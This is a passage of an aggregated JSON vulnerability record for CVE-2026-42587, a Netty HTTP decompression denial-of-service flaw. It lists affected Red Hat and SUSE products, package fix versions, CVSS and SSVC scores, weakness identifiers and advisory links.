7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-picketlink-bindings\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.5.5-30.SP12_redhat_00020.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-picketlink-federation\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.5.5-24.SP12_redhat_00016.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-undertow\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.2.40-2.SP3_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-wildfly\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:7.4.25-2.GA_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8.1\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9\"],\"versions\":[{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Streams for Apache Kafka 2.9.4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:amq_streams:2.9::el9\"],\"versions\":[{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI 2.25\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhoai/odh-modelmesh-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai:2.25::el9\"],\"versions\":[{\"version\":\"1783443816\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/openvsx-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780948325\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/pluginregistry-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780696380\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/server-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780694994\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.29\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/multicluster-redirector-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"],\"versions\":[{\"version\":\"1782989027\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:cryostat:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-ekb-dispatcher-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-ekb-receiver-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Clients\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_clients:2023\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4 for Quarkus 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:camel_quarkus:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4 for Quarkus 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:camel_quarkus:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:service_registry:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:service_registry:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Debezium 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:debezium:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Debezium 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:debezium:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk/keycloak-rhel9\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk/keycloak-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk-openshift-rhel9/rhbk-openshift-rhel9\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk-rhel9-operator/rhbk-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of OptaPlanner 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:optaplanner:::el6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of OptaPlanner 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:optaplanner:::el6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel6\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel7\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel8\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-modelmesh-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-spark-operator-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cpu-torch210-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cpu-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cuda130-torch210-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cuda130-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-rocm64-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-trustyai-service-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-trustyai-service-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"candlepin\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"satellite:el8/candlepin\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Single Sign-On 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:red_hat_single_sign_on:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Single Sign-On 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:red_hat_single_sign_on:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_streams:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_streams:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:amq_streams:3\"]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-13T18:43:31.138358Z\",\"id\":\"CVE-2026-42587\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-400\"}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-770\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.1.133\",\"matchCriteriaId\":\"DFE205A5-2C43-40C9-A2FF-CF6759B8D861\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.2.0\",\"versionEndExcluding\":\"4.2.13\",\"matchCriteriaId\":\"D94A720F-9CED-4BE9-8C37-FD9E2FD28472\"}]}]}],\"references\":[{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:23808\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:24502\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:25123\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:28010\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:34608\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36820\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:37390\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41951\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42644\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:50085\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:53644\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:53806\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:54435\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/security/cve/CVE-2026-42587\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://bugzilla.redhat.com/show_bug.cgi?id=2477220\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"}]}}",
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-08-12T19:40:04+00:00",
"cve": "CVE-2026-42587",
"id": "CVE-2026-42587",
"initial_release_date": "2026-05-13T18:22:21.699000+00:00",
"product_status:fixed": "133",
"product_status:known_affected": "39",
"product_status:known_not_affected": "346",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-06-24T02:39:38Z",
"cve": "CVE-2026-42587",
"id": "CVE-2026-42587",
"initial_release_date": "2026-05-15T01:58:37Z",
"product_status:known_not_affected": "42",
"product_status:recommended": "22",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-42587",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-42587.json",
"version": "4"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression\", \"metrics\": [{\"other\": {\"type\": \"Red Hat severity rating\", \"content\": {\"value\": \"Important\", \"namespace\": \"https://access.redhat.com/security/updates/classification/\"}}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"cryostat/cryostat-reports-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], 